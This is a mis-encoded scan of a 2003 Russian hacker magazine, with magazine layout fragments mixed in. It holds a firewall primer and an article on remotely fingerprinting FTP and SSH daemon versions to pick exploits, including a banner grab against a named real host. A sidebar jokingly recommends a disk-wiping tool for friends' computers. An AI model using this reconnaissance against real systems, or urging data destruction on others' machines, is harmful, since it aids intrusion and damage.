íèå èíôû. Íó ðàçâå íå ïðåëåñòü?
Ðåêîìåíäóåòñÿ ê àêòèâíîìó èñïîëü-
çîâàíèþ íà êîìïàõ äðóçåé... Èëè, â
ñàìîì êðàéíåì ñëó÷àå (òüôó*3), íà
ñâîåì...

Èìÿ: Killdisc Floppy Creator
Ïëàòôîðìà: win
Ïîëèòèêà: free
Âåñèò: 536 Êá
Âåá: www.killdisc.com



irewall â äîñëîâíîì ïåðåâîäå
ñ áóðæóéñêîãî çíà÷èò "ñòåíà
îãíÿ". Â óìíûõ êíèæêàõ è äî-

êàõ åãî åùå íàçûâàþò áðàíäìàóýðîì. Ñòåí-
êà âûïîëíÿåò ôóíêöèè çàùèòû îòäåëüíîãî
êîìïà èëè öåëûõ ñåòåé îò âòîðæåíèÿ èçâíå
èëè èçíóòðè.

ÑÒÅÍÊÈ ÁÎËÜØÈÅ È ÌÀËÅÍÜÊÈÅ
Ôàåðâîëëû áûâàþò àïïàðàòíûå èëè ïðîã-
ðàììíûå. Àïïàðàòíàÿ îãíåñòåíêà � ýòî îñî-
áàÿ æåëåçÿêà, êîòîðàÿ ñòàâèòñÿ íà âõîäå â
çàùèùàåìóþ ñåòü. Àïïàðàòíûé ôàåðâîëë
íèêàêèì îáðàçîì íå ñâÿçàí ñ êîìïîì, òî
åñòü îí èìååò îòäåëüíîå ïèòàíèå è
ñîáñòâåííîå ÏÎ. Äëÿ çàùèòû êðóïíûõ ñå-
òåé îáû÷íî ñòàðàþòñÿ ïîñòàâèòü èìåííî
àïïàðàòíûé áðàíäìàóýð, êàê áîëåå íàäåæ-
íûé è óñòîé÷èâûé. Íî, êàê òû ñàì ïîíèìà-
åøü, îòäåëüíûé äåâàéñ ñòîèò îòäåëüíûõ
áàêñîâ, ïðè÷åì ñóììà îáû÷íî íåìàëåíü-
êàÿ. Áîëåå äåøåâîå ðåøåíèå � ïðîãðàì-
ìíûå ôàåðâîëëû, êîòîðûå ìîãóò áûòü ðåà-
ëèçîâàíû êàê â âèäå îòäåëüíîãî êîìïà,
òàê è â âèäå ïðèëîæåíèÿ íà êîìïå þçåðà.
Åñëè ïîä ôàåðâîëë âûäåëÿåòñÿ îòäåëüíûé
êîìï, òî íà íåãî ñòàâèòñÿ êëîí þíèõà, íàñò-
ðàèâàåòñÿ ðîóòèíã, ìàðøðóòèçàöèÿ, ìàñêà-
ðàäèíã è ò.ä. È ôàåðâîëë íà îòäåëüíîì
êîìïå ïðèáëèæàåòñÿ ïî ñâîåé ôóíêöèî-
íàëüíîñòè ê àïïàðàòíûì îãíåñòåíêàì.

ÊÀÊ ÌÛ ÐÀÁÎÒÀÅÌ
Ïðèíöèï ðàáîòû ñòåíî÷êè äîñòàòî÷íî ïðîñò:
ôàåðâîëë ôèëüòðóåò âñå âõîäÿùèå è èñõî-
äÿùèå ïàêåòû aka òðàôôèê è, ñâåðÿÿñü ñ
çàäàííûìè åìó ïðàâèëàìè, ïðîïóñêàåò ëèáî
îòìåòàåò èõ. Â çàâèñèìîñòè îò ýòîãî îäíè
ðåñóðñû ñåòè èëè þçåðà áóäóò äîñòóïíû
ñíàðóæè, äðóãèå � òîëüêî èçíóòðè, à òðåòüè
� âîîáùå íåäîñòóïíû. Íàïðèìåð, ìîæíî îò-
ðóáèòü ôàåðâîëëîì âñå, êðîìå ïî÷òû, è
þçåð âíóòðè ñåòè íå ñìîæåò êà÷àòü ïîðíó-
õó, à õàöêåð ñíàðóæè íå ñìîæåò ïîäòåëíå-
òèòüñÿ ê ãëàâíîìó ñåðâàêó ñåòêè. Ñàìûå íà-
âîðî÷åííûå ôàåðâîëëû ðàçäèðàþò ïàêåòû,
èññëåäóþò èõ âäîëü è ïîïåðåê è ìîãóò äàæå
àíàëèçèðîâàòü èõ ñîäåðæèìîå.

ÞÇÅÐ ÎÁÛ×ÍÛÉ, 
ÑÐÅÄÍÅÉ ÏÓØÈÑÒÎÑÒÈ
Îáû÷íûå þçâåðè, åñòåñòâåííî, èñïîëüçóþò
ïðîãðàììíûå ðåøåíèÿ, âûïîëíåííûå íà
óðîâíå îòäåëüíîãî ïðèëîæåíèÿ. Òàêèå ñîô-
òèíû åñòü ïîä âñå ðàñïðîñòðàíåííûå ÎÑ.
Îíè ðàçëè÷àþòñÿ òîëüêî ôåéñîì, ðàçìåðîì
äà êà÷åñòâîì ðàáîòû. Çàíèìàþòñÿ îíè, â îñ-
íîâíîì, òåì, ÷òî ïðèêðûâàþò ãîñòåïðèèìíî
ðàñïàõíóòûå ïîðòû þçâåðüñêîé òà÷êè.

Òû, íàâåðíîå, óæå çíàåøü, ÷òî òàêîå ïîð-
òû. Åñëè íåò, òî ãðóáî � ýòî ïðåäñòàâèòåëü
ñîôòèíû, çàïóùåííîé íà òâîåé ìàøèíå,
îæèäàþùèé ñîåäèíåíèÿ ñ êàêîé-íèáóäü äðó-
ãîé ñîôòèíîé. Òî åñòü åñëè òû çàïóñêàåøü
åêñïëîðåð, òî íà òâîåé òà÷êå îòêðûâàåòñÿ
80-é ïîðò, è âñå äàííûå ñ WWW ïî ïðîòîêî-
ëó HTTP èäóò òåáå ÷åðåç ýòîò ïîðò. Ïîðòîâ
íà òâîåé òà÷êå ìîæåò áûòü îòêðûòî ìíîæå-
ñòâî, è îáû÷íî îíè äîêóìåíòèðîâàíû; òàê
25-é � SMTP (ìåññàãè îòïðàâëÿåøü), 80-é �
HTTP(Èíåò ãëÿäèøü), 139-é � íåòáèîñ (ñîñå-
äåé ïî ëîêàëå èìååøü) è ò.ä. Òðîÿíû òîæå
îòêðûâàþò ñâîè ïîðòû, òîëüêî òû îá ýòîì íå
çíàåøü :). Òàê âîò, èìåííî ïîðòû ÿâëÿþòñÿ
÷àñòîé ïðîáëåìîé äëÿ òåõ, êòî ëþáèò ïîñè-
äåòü â èðêå èëè ïîñåðôèòü Èíåò áåç çàùèòû
� ñêàæåøü ãäå-íèáóäü ÷åãî-íèáóäü íåõîðî-
øåå, è áàö: ïîðòû çàñðàíû, ñàì òû íþêíóò!
Âîò îò òàêèõ ñëó÷àåâ è ñïàñàåò þçåðà îãíåí-
íàÿ ñòåíêà � îíà íå ïîçâîëèò çàôëóäèòü
óÿçâèìûå ïîðòû, íå äàñò çëîìó òðîÿíó äî-
íåñòè íà òåáÿ, ïðèêðîåò îò íþêîâ. Åñëè, êî-
íå÷íî, òû åå ãðàìîòíî íàñòðîèë èëè õîòÿ áû
íå ñáèë äåôîëòíûå íàñòðîéêè, êîòîðûå äëÿ
òåáÿ óìíûå ëþäè íàìóòèëè.

Ôàåðâîëë, åñòåñòâåííî, ãóä, íî è îí íå èäå-
àëåí è íå ìîæåò îáåñïå÷èòü ïîëíîé áåçîïàñ-
íîñòè. Ôèøêà âîò â ÷åì: ñîåäèíåíèÿ, êîòîðûå
âàì íóæíû äëÿ ðàáîòû (íàïðèìåð, web, ìûëî
è ò.ä.), ôàåðâîëë îáÿçàí îñòàâëÿòü îòêðûòû-
ìè. Èç-çà áàãîâ â ñàìèõ ÎÑ è â ïðîãðàììàõ,
ðàáîòàþùèõ ïî îòêðûòûì ñîåäèíåíèÿì, íà
òâîåì êîìïå èëè â ñåòè ìîãóò âîçíèêàòü óÿç-
âèìîñòè, êîòîðûå ïîòåíöèàëüíî äàþò âîç-
ìîæíîñòü ïîñòîðîííèìè ïðîíèêíóòü â ñåòü

F

ÁËÎÊÀÄÀ ÕÀÊÅÐÀÌ!
R

T
FM

Áëîêàäà õàêåðàì! 14

Óçíàé äåìîíà! 16

Ñâîäêè ñ çàðàçíîãî

ôðîíòà 18

Ñòåê 2, ïåðåçàãðóçêà 20

Öåïíûå ïñû 22

ÑÒÅÊóåìñÿ? 24

ááðåâèàòóðà RTFM
ðàñøèôðîâûâàåòñÿ

êàê Read The Following
Materials, õîòÿ, íàì, êîíå÷-
íî, áëèæå Read The Fucking
Manual. Â ýòîé ðóáðèêå
ñîáðàíû âñå ñòàòüè ñ òåî-
ðåòè÷åñêîé èíôîé ïî òåìå
íîìåðà. Âíèìàíèå! Äëÿ
êîìôîðòíîãî ÷òåíèÿ íåîá-
õîäèìî îñâîáîäèòü 50 Kb
êýø-ïàìÿòè ïåðâîãî óðîâ-
íÿ Öåíòðàëüíîãî Ìîçãîâîãî
Óñòðîéñòâà.

Content:

À

Î ÔÀÅÐÂÎËËÀÕ Â ËÈÍÜ È ÂÛÍÜ

Ãóòåí ìîðãåí! Íó ÷òî? Ïðî÷åë, èñïóãàëñÿ, ÷òî òåáÿ ìîãóò ïîè-
ìåòü? Òîãäà âíèìàé ìîèì ñëîâàì î ôàåðâîëëå. Â ýòîé ñòàòüå òû
óçíàåøü, êàê ðàáîòàþò îãíåííûå ñòåíêè â Âèíäàõ è â Ëèíÿõ.

Vint(vint@townnet.ru)

Ñõåìà ôàåðâîëëèíãà â Ëèíå
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èçâíå. Ýòî çíà÷èò, ÷òî íåêèé Âàñÿ-õà-
êåð, ñêà÷àâ ïîñëåäíèé Xspider, ìîæåò
íàéòè êó÷ó äûð è ïîèìåòü òåáÿ. Òàê,
Xspider âåðñèè 6.5 íàõîäèò â ÕÐåíîâîé
Âèíäå (ñ ïîñòàâëåííûì IIS 5.1, íî áåç
ñåðâèñ ïàêà) áîëåå 15 óÿçâèìîñòåé! Íî
ôàåðâîëë âñå ðàâíî íåîáõîäèì óæå
õîòÿ áû ïî òîé ïðè÷èíå, ÷òî îí ìîæåò
äåòåêòèòü òàêîå ñêàíèðîâàíèå è ïðè
ãðàìîòíîé íàñòðîéêå îáðóáèòü.

ÑÒÅÍÊÀ ÄËß ÂÈÍÄÛ
Ê íåñ÷àñòüþ äëÿ âûíü-þçåðîâ î
âñòðîåííîì â Âèíäû ôàåðâîëëå ãîâî-
ðèòü åùå ðàíî. Åñòü çà÷àòêè, íî óæ
áîëüíî îíè óáîãè, ÷òîáû âîñïðèíè-
ìàòü èõ áîëåå-ìåíåå ñåðüåçíî :). Ïî
ýòîé ïðè÷èíå ðàññìîòðèì ôàåðâîëëû
â Âûíå íà ïðèìåðå ëó÷øåãî, ïî ìíå-
íèþ ìíîãèõ, ôàåðâîëëà � Agnitum
Outpost Firewall. Îñíîâíîå îòëè÷èå îò
äðóãèõ ïðîãðàìì çàêëþ÷àåòñÿ â îòê-
ðûòîé àðõèòåêòóðå, ïîçâîëÿþùåé
óâåëè÷èâàòü ôóíêöèîíàëüíîñòü ïðîã-
ðàììû çà ñ÷åò èñïîëüçîâàíèÿ ïëàãè-
íîâ. Òàêèì îáðàçîì, ìíîæåñòâî ïðèÿò-
íûõ ìåëî÷åé ìîæíî äîñòàâèòü óæå

ïîñëå óñòàíîâêè. Ïðîäîëæó ãðóçèòü
ãóäîì: êýøèðîâàíèå ÄÍÑ, îãðàíè÷å-
íèÿ Cookies, ActiveX. Ïðîãðàììà óìååò
ñîçäàâàòü äëÿ êàæäîãî ñåòåâîãî ïðè-
ëîæåíèÿ ñâîè ñîáñòâåííûå ïðàâèëà
îáðàáîòêè è ñòàâèòü îãðàíè÷åíèÿ íà
èñïîëüçîâàíèå òðàôôèêà. Åñòü ïîä-
äåðæêà ðóññêîãî ÿçûêà, ïðè÷åì äîñòà-
òî÷íî íåïëîõàÿ. Èìååòñÿ âîçìîæ-
íîñòü ôèëüòðîâàòü ñòðàíè÷êè ïî êëþ-
÷åâûì ñëîâàì, òî åñòü òû ìîæåøü
çàïðåòèòü äîìàøíèì ëèòü èç Èíåòà
ïîðíóõó, îñòàâèâ ýòî ïðàâî òîëüêî çà
ñîáîé. Òàêæå ýòà ñîôòèíà ìîæåò ïîë-
íîñòüþ ñêðûâàòü òâîé êîìï â ñåòè �
áóäåò ïîãëîùàòü âñå âíåøíèå çàïðî-
ñû è íå âûïóñêàòü âíóòðåííèå. Î÷åíü
ïðîñòî ñòàâèòñÿ è íàñòðàèâàåòñÿ. Ýòîò
ôàåðâîëë íå ïðîñòî õîðîøî çàùèùà-
åò ïîðòû, íî ñ ïîìîùüþ ïëàãèíîâ, êî-
òîðûå, êñòàòè, âõîäÿò â ïîñòàâêó, ìî-
æåò îáðåçàòü áàííåðû, óáèðàòü ðåêëà-
ìó. È åùå îäíà õîðîøàÿ ôè÷à � îáíà-
ðóæåíèå àòàê íà òâîé êîìï. Àóòïîñò
ìîæåò îïðåäåëÿòü ñêàíèðîâàíèå ïîð-
òîâ è áëîêèðîâàòü àòàêóþùåãî (çàï-
ðåòèòü îòâå÷àòü íà âñå çàïðîñû ñ åãî
àéïèøíèêà èëè ïîäñåòè).

Òî åñòü â äàííîé ñîôòèíå î÷åíü õî-
ðîøî ñî÷åòàåòñÿ ïðîñòîé è ÿñíûé
ôåéñ ñ ìîùíûì ìåõàíèçìîì çàùèòû è
ôèëüòðîâêè ïàêåòîâ, êðîìå òîãî Àóò-
ïîñò ýêîíîìèò òðàôô, îáðåçàÿ ðåêëà-
ìó. Íî, êàê òû ñàì âèäèøü, ýòîò ôàåð-
âîëë èìåííî ïåðñîíàëüíûé, íå ïðåä-
íàçíà÷åí äëÿ çàùèòû ñåòè è íå óìååò
àíàëèçèðîâàòü ñîäåðæàíèå ïàêåòîâ.

ÏÐÀÂÈËÜÍÎÉ ÎÑ -
ÏÐÀÂÈËÜÍÛÉ ÔÀÅÐÂÎËË!

Òû óæå ïîíÿë, ÷òî ôàåðâîëëû â
Âèíäå, êàê è âñå îñòàëüíîå, ðåàëèçî-
âàíû â âèäå îòäåëüíîé ñîôòèíû
(ïóñòü äàæå è õîðîøåé), êîòîðàÿ îòâå-
÷àåò çà áåçîïàñíûé êîííåêò. Â ýòîì
ñðàçó âèäíà óÿçâèìîñòü: ïðèáèë ôà-
åðâîëüíûé ïðîöåññ, è ïèñþê ëèøèëñÿ
çàùèòû! Â òî æå âðåìÿ ó ïðàâèëüíîé
ÎÑ ýòî âñå ðåàëèçîâàíî ãîðàçäî áî-
ëåå ãðàìîòíî: ó ëèíóõà � âñòðîåííûé
ôàåðâîëë, ïðè÷åì ýòî íå ñîôòèíà è
äàæå íå îòäåëüíûé ìîäóëü! Ôóíêöèè
ôàåðâîëëà â *nix îñÿõ âîçëîæåíû íà
ÿäðî, êîòîðîå ñàìî ôèëüòðóåò ïàêåòû
è çàïðîñû! Äëÿ ýòîãî ÿäðî èñïîëüçóåò

îïðåäåëåííûå ïðàâèëà, çàäàâàåìûå
ïîëüçîâàòåëåì â ñïåöèàëüíîì ôàéëå
íàñòðîéêè ñòåíî÷êè.

Ñòàíäàðòíûé ôàåðâîëë Ëèíóêñà
ìîæåò ãîðàçäî áîëüøå ëþáîãî âèí-
äîçîâñêîãî çàùèòíèêà: êó÷à íàñòðî-
åê äëÿ îòäåëüíûõ ìàøèí, àéïèøíè-
êîâ, ñåòåé, ðåñóðñîâ, íàñòðîéêà îïòè-
ìàëüíîãî ìàðøðóòà, êýøèðîâàíèå è
åùå ãàðàíòèðîâàííàÿ çàùèòà îò Ïèí-
ãà Ñìåðòè (DeathPing), îò Teardrop è
Bonk (îíè õàðàêòåðíåé äëÿ NT, íî êòî
çíàåò...), ôèëüòðàöèÿ ôðàãìåíòèðî-
âàííûõ áîìá, âîçìîæíîñòü íàñòðî-
èòü çàùèòó îò IP ñïóôèíãà. È ñàìîå
ãëàâíîå � íå çàáóäü, ÷òî ðåàëèçàöèÿ
çàùèòû ïðîèñõîäèò íà óðîâíå ñèñòå-
ìû, à çíà÷èò òàê ïðîñòî áëîêèðîâàòü
çàùèòó íå ïîëó÷èòñÿ.

Äà, íàñòðîèòü íèêñîâûé ôàåðâîëë
íå òàê ïðîñòî, êàê âèíäîâûé, � ïðèäåò-
ñÿ ïèñàòü öåïî÷êè ïðàâèë ðó÷êàìè (è
ýòî ïî-íàøåìó!), íî ïðàâèëüíàÿ îñü
ñòàíîâèòñÿ âñå áîëåå äðóæåñòâåííîé
ê þçåðó, è þçàþò åå íå òîëüêî áîðî-
äàòûå äÿäüêè (è òåòüêè :)), íî è îáû÷-
íûå ñìåðòíûå, êîòîðûå õîòÿò äåëàòü
âñå ìûøêîé. Âîò äëÿ òàêèõ ñóùåñòâ è
áûëè ïðèäóìàíû ãðàôè÷åñêèå íàñò-
ðîéùèêè ôàåðâîëëîâ. Êîíå÷íî, íàñò-
ðîåê ìèíèìóì, íî ñàìîå íåîáõîäèìîå
åñòü! Òàê, òû ìîæåøü çàïðåòèòü âñå
ïîðòû, êðîìå ìûëà, ftp, www è àñüêè.
À çàõî÷åøü áîëåå òîíêîãî êîâûðÿíèÿ
� http://linux.ru/docs/russian/IPchains
è www.linuxcenter.ru æäóò òåáÿ! Íî
ñïåðâà êàê ñëåäóåò èçó÷è äîêè, à òî
òàêîãî ìîæåøü â íàñòðîéêàõ íàìó-
òèòü, ÷òî îñòàíåøüñÿ áåç Èíåòà, è ïðè
ýòîì òåáÿ áóäåò äîñòàòü ïðîùå, ÷åì â
98-õ îêíàõ! Äà, è íå çàáóäü ïîñòàâèòü

ÿäðûøêî ïîíîâåå, íàïðèìåð, 2.4.õ
(2.6.0 ïîêà åùå íå îáúÿâëåíî :)).

ÑÕÅÌÀ ÎÃÍß
Íà ñõåìêå ïîêàçàí ïðèíöèï ðàáîòû

ôàåðâîëüíîãî ìåõàíèçìà â Ëèíóõå.
Îïèñûâàþ êàæäîþ öåïî÷êó:

Êîíòðîëüíàÿ ñóììà (Checksum) ïðî-
âåðÿåò, ÷òîá ïàêåò áûë öåëûì. Åñëè
êîíòðîëüíàÿ ñóììà íå ñîâïàäàåò, òî
ïàêåò îòáðàñûâàåòñÿ (DENY).

Çäðàâîìûñëèå (Sanity) � çäåñü ïðî-
âåðÿåòñÿ ôîðìàò ïàêåòà. Åñëè ïîïàë-
ñÿ ïàêåò ñ íåïðàâèëüíûì ôîðìàòîì,
ñîáûòèå çàïèøåòñÿ â ëîã êàê íåíîð-
ìàëüíàÿ ñèòóàöèÿ.

Öåïî÷êà input � ýòî ïåðâàÿ firewall öå-
ïî÷êà, ïðîâåðÿþùàÿ ïàêåò. Åñëè öå-
ïî÷êà íå ïðèíÿëà ðåøåíèå îá óíè÷òî-
æåíèè (DENY) èëè îòêëîíåíèè
(REJECT) ïàêåòà, ïàêåò èäåò äàëüøå.

Äåìàñêàðàäèíã (Demasquerade) �
åñëè ïàêåò ÿâëÿåòñÿ îòâåòîì íà çà-
ìàñêàðàäåííûé ïàêåò, îí äåìàñêàðà-
äèðóåòñÿ è ïåðåáðàñûâàåòñÿ ïðÿìî
íà öåïî÷êó output.

Ðåøåíèå î ìàðøðóòèçàöèè. Ïîëå àä-
ðåñà íàçíà÷åíèÿ èññëåäóåòñÿ êîäîì
ìàðøðóòèçàöèè, ÷òîáû ðåøèòü, íàï-
ðàâëåí ëè ýòîò ïàêåò ëîêàëüíîìó ïðî-
öåññó èëè ïîñëàí óäàëåííîé ìàøèíå.

Ëîêàëüíûé ïðîöåññ � ïðîöåññ, âû-
ïîëíÿþùèéñÿ íà ìàøèíå. Ìîæåò ïî-
ëó÷àòü ïàêåòû ïîñëå øàãà "Ðåøåíèå
î ìàðøðóòèçàöèè" è ìîæåò îòïðàâ-
ëÿòü ïàêåòû (êîòîðûå ïðîõîäÿò øàã
"Ðåøåíèÿ î ìàðøðóòèçàöèè" è çàòåì
ïåðåñåêàþò öåïî÷êó output).

Èíòåðôåéñ lo: åñëè ïàêåòû èç ëî-
êàëüíîãî ïðîöåññà ïðåäíàçíà÷åíû
ëîêàëüíîìó ïðîöåññó, îíè ïðîéäóò
öåïî÷êó output ñ èíòåðôåéñîì, óñòà-
íîâëåííûì â "lo", è âîçâðàòÿòñÿ ÷å-
ðåç âõîäíóþ öåïî÷êó ñ èíòåðôåéñîì
òîæå "lo". Èíòåðôåéñ lo îáû÷íî íà-
çûâàåòñÿ ïåòëåâûì èíòåðôåéñîì
(loopback).

Ëîêàëüíûé (local) � åñëè ïàêåò íå
áûë ñîçäàí ëîêàëüíûì ïðîöåññîì, òî
öåïî÷êà forward ïðîâåðÿåò åãî, èíà÷å
ïàêåò èäåò íà öåïî÷êó output.

Öåïî÷êà forward: ýòó öåïî÷êó ïðî-
õîäÿò ëþáûå ïàêåòû, êîòîðûå ïûòà-
þòñÿ óéòè íà äðóãóþ ìàøèíó.

Öåïî÷êà output � ýòà öåïî÷êà ïðî-
âåðÿåò âñå ïàêåòû, ïðåæäå ÷åì âû-
ïóñòèòü èõ íàðóæó.

Íà ýòèõ íîòêàõ è îòêëàíèâàþñü � îñ-
íîâíûå ïîíÿòèÿ äàë, à òåïåðü ñàìîìó
ïîðà ê êîìïó ñòðîèòü ñâîþ îáîðîíó.

E

Ôàåðâîëë â ïðàâèëüíîé îñè âñòðîåí â
ÿäðî, ïîýòîìó âñå ïàêåòû ïðîâåðÿþòñÿ íà

ñèñòåìíîì óðîâíå
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Àóòïîñò

Õîðîøàÿ äîêà
ïî ôàåðâîëëó

â íèêñàõ:
http://www.rust
corp.com/linux/

ipchains

Ôàåðâîëë â
Âèíäå � ýòî îò-
äåëüíîå ïðèëî-
æåíèå, êîòîðîå

â ëþáîé ìî-
ìåíò ìîæåò

áûòü çàêðûòî



Îñíîâíàÿ çàäà÷à õàêåðà - íàéòè èçúÿí â ñèñòåìå è ïðåäîñòàâèòü åãî íóæíîìó
ýêñïëîéòó. Âñå ýêñïëîéòû àêòóàëüíû ëèøü äëÿ íåêîòîðûõ âåðñèé ñåðâèñà, êîòîðûå
ïðåäâàðèòåëüíî äîëæíû áûòü îïðåäåëåíû... õàêåðîì. Äà-äà, òû íå îñëûøàëñÿ, î÷åíü
ðåäêî, êîãäà â ïëîéòå âñòðîåíî àâòîìàòè÷åñêîå îïðåäåëåíèå âåðñèè. Ïîýòîìó, åñëè
ðåìîóòíîå äåòåêòèðîâàíèå ñåðâèñà äëÿ òåáÿ âñåãäà áûëî îãðîìíîé ïðîáëåìîé, òî
ñîâåòóþ ïðî÷èòàòü ýòîò ìàòåðèàë - âîçìîæíî, óçíàåøü äëÿ ñåáÿ ÷òî-òî íîâîå.

áû÷íî ñåðâèñ îïðåäå-
ëÿåòñÿ áåç ïðîáëåì.
Ñóùåñòâóåò òàêîå ïî-

íÿòèå, êàê áàííåð èëè çàãîëîâîê äå-
ìîíà. Åãî íàëè÷èå àêòóàëüíî äëÿ
âñåõ òåêñòîâûõ ïðîòîêîëîâ. Ðàçäå-
ðåì ïðèìåð: öåïëÿåìñÿ òåëíåòîì íà
25-é ïîðò êàêîé-íèáóäü òà÷êè è â îò-
âåò ïîëó÷àåì ïðèãëàøåíèå îò ñåðâè-
ñà, êàê ïðàâèëî, ñîäåðæàùåå âåðñèþ
ñåíäìûëà. Íî ýòà ñòàòüÿ áûëà áû íå-
àêòóàëüíà, åñëè âñå áûëî áû òàê
ïðîñòî. Íåðåäêî áàííåðû óìûøëåí-
íî çàìåíÿþòñÿ (ýòàêàÿ çàùèòà ïðî-
òèâ õàêåðîâ ñî ñòîðîíû çëûõ àäìè-
íîâ), à â áèíàðíûõ ïðîòîêîëàõ áàí-
íåðû âîîáùå îòñóòñòâóþò. Ïîýòîìó
ñëóøàé ñþäà: ñåé÷àñ ìû áóäåì îïðå-
äåëÿòü âåðñèþ ðàçëè÷íûõ ñåðâèñîâ
âñåìè âîçìîæíûìè ñïîñîáàìè.

FTPD � ÎÏÐÅÄÅËßÅÌ È ËÎÌÀÅÌ
Èòàê, äâèæåìñÿ ïî âîçðàñòàíèþ.
Ñòóêíåìñÿ â ñàìûé ìàëåíüêèé, íî
âàæíûé 21-é ïîðò. Ñîãëàñíî íåïèñà-
íîìó çàêîíó, çà ýòèì ïîðòîì ñêðû-
âàåòñÿ äåìîí FTP. Îïðåäåëåíèå åãî
ïðîèçâîäèòåëÿ è âåðñèè äëÿ íàñ
ÿâëÿåòñÿ íåîáõîäèìîé çàäà÷åé.

Âîçüìåì ïðîèçâîëüíûé õîñò è
ïðèöåïèìñÿ ê íåìó òåëíåòîì. Â èòî-
ãå ïîëó÷èì ÷òî-òî âðîäå:

[root@shell root]# telnet fw.ru 21
Trying 212.92.96.34...
Connected to fw.ru.
Escape character is '^]'.
220 servers.cea.ru FTP server (Version wu-
2.6.2(1) âò 21 ìàé 2002 15:51:03 MSD) ready.

Ïîäàâëÿþùåå áîëüøèíñòâî àä-
ìèíîâ íå çàìåíÿåò áàííåðû ñâîèõ
ñëóæá, îñòàâëÿÿ âñå ïî äåôîëòó.
Ìû âèäèì, ÷òî íà ñåðâåðå óñòàíîâ-
ëåí äûðÿâûé wu-ftpd ;). Ïðè÷åì
íàì äàíà èñ÷åðïûâàþùàÿ èíôîð-
ìàöèÿ ïî åãî âåðñèè è âðåìåíè
ñîçäàíèÿ. Äàëüíåéøèì øàãîì õà-
êåðà áóäåò îïðåäåëåíèå ïîääåðæ-
êè àíîíèìíîãî âõîäà è ïîèñêà
ýêñïëîéòà. Íå áóäåì çàîñòðÿòü íà
ýòîì âíèìàíèå, èáî íàøà çàäà÷à
áûëà äîñòèãíóòà, à äðóãèõ öåëåé
ìû íå ïðåñëåäîâàëè.

ß ðàññìîòðåë òðèâèàëüíóþ çàäà÷ó.
À ÷òî åñëè àäìèí ïîçàáîòèëñÿ î ñâî-
åé ñèñòåìå è çàìåíèë áàííåð íà ïðî-
èçâîëüíûé, ÷òîáû çàïóòàòü õàêåðà?
Â ýòîì ñëó÷àå ïðèâåòñòâèå ñåðâèñà
íàì íè÷åãî ïðàâäèâîãî íå ñêàæåò.

Íå îò÷àèâàéñÿ, ó íàñ åñòü ñâîè
ìåòîäèêè äëÿ îïðåäåëåíèÿ äûðÿ-
âûõ äåìîíîâ =). Ê ïðèìåðó, äèàëîã
Wu-Ftpd íåñêîëüêî îòëè÷àåòñÿ îò
ProFTPD. Ïðè ïîïûòêå çàëîãèíèòü-
ñÿ ïîä anonymous'îì wu-ftpd âûäà-
åò èíôó î ïðàâèëüíîñòè e-mail àä-
ðåñà, òåì ñàìûì âûäàâàÿ ñåáÿ.

Âîîáùå, ïîëåçíî çíàòü ôðàçû, êî-
òîðûå õàðàêòåðíû ëèøü äëÿ îïðåäå-
ëåííîãî ñåðâèñà. Âèíäîâûé Serv-U
âñåãäà ñòàâèò âîñêëèöàòåëüíûé çíàê
ïîñëå ñëîâà Goodbye, à ProFTPD
âìåñòî Guest login ok (òàêàÿ çàïèñü
õàðàêòåðíà äëÿ ïîäàâëÿþùåãî áîëü-

øèíñòâà FTPD'øíèêîâ) ïèøåò
Anonymous login ok, òåì ñàìûì âûäà-
âàÿ ñåáÿ ñ ïîòðîõàìè. Íåìíîãî òåð-
ïåíèÿ è íàáëþäàòåëüíîñòè, è òû
âñåãäà ñìîæåøü îïðåäåëèòü âåðñèþ
FTPD çà íåñêîëüêî ñåêóíä.

SSHD ÊÀÊ ÍÀ ËÀÄÎÍÈ
Ñëåäóþùèì ïî ñ÷åòó èäåò ñåðâèñ
SSHD. Îí îáîñíîâàëñÿ íà 22-ì
ïîðòó ñî ñâîåãî ðîæäåíèÿ ;). Ñîã-
ëàñíî ñòàíäàðòó RFC, îáìåí ìåæäó
ñåðâåðîì è êëèåíòîì ssh íà÷èíà-
åòñÿ îáîþäíûì îáìåíîì âåðñèé.
Ñïåðâà äåìîí ïîêàçûâàåò çàâåò-
íûé áàííåð, à êëèåíò îòäàåò åìó

ñâîé version. Âðîäå áû âñå ïðîñòî,
è êîììåíòàðèè òóò íè ê ÷åìó. Íî
áîëüøèíñòâî ëþäåé íå ìîãóò (èëè
íå óìåþò) îïðåäåëèòü âåðñèþ
SSHD ïî åãî áàííåðó. ×òî òóò ñêà-
çàòü, íå óìååøü - íàó÷èì, íå õî-
÷åøü - çàñòàâèì ;).

RTFM/ÓÇÍÀÉ ÄÅÌÎÍÀ!
O

S
û

 4
ha

ck

page 016 07(32) 2003
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Äîêó÷àåâ Äìèòðèé 
aka Forb (forb@real.xakep.ru)

Î

Äëÿ êàæäîãî FtpD - ñâîè òîíêîñòè

ÓÄÀËÅÍÍÎÅ ÎÏÐÅÄÅËÅÍÈÅ 
ÂÅÐÑÈÈ ÑÅÐÂÈÑÎÂ

Íåðåäêî áàííåðû óìûøëåííî çàìåíÿþòñÿ
(ýòàêàÿ çàùèòà ïðîòèâ õàêåðîâ ñî ñòîðîíû

çëûõ àäìèíîâ), à â ñëó÷àå áèíàðíûõ
ïðîòîêîëîâ áàííåðû âîîáùå îòñóòñòâóþò

Â øàïêå SSHD
óêàçàíû äâå
íåçàâèñèìûå
âåðñèè. Ïåð-
âàÿ - âåðñèÿ
ïðîòîêîëà
SSH, âòîðàÿ -
ïàêåòà
OpenSSH

Äâà ðàçíûõ çàãîëîâêà OpenSSH

Dig - îðóæèå ìàññîâîãî äåòåêòèðîâàíèÿ!



Öåïëÿåìñÿ ê 22-ìó ïîðòó ïðîèç-
âîëüíîãî ñåðâåðà. Ïðè óäà÷íîì âû-
áîðå æåðòâû ìû óâèäèì áàííåð
SSH-1.99-OpenSSH_3.6.1p1.

Ðàçáåðåì, ÷òî ê ÷åìó. Â øàïêå
SSHD óêàçàíû äâå íåçàâèñèìûõ
âåðñèè. Ïåðâàÿ - âåðñèÿ ïðîòîêîëà
SSH (â íàøåì ñëó÷àå 1.99), âòîðàÿ -
ïàêåòà OpenSSH: 3.6.1p1 (ñàìûé ñâå-
æèé ðåëèç íà ñåãîäíÿøíèé äåíü).

Ïîñëå îïðåäåëåíèÿ òèïà äåìîíà
õàêåð èùåò ýêñïëîéò äëÿ ñâîèõ
ãðÿçíûõ öåëåé, à èìåííî äëÿ âçëî-
ìà ñåêóðíîãî äåìîíà (íà ýòîò äåíü
ñóùåñòâóåò åäèíñòâåííûé ðàáî÷èé
ýêñïëîéò x2 äëÿ ïåðåïîëíåíèÿ áó-
ôåðà â SSHD).

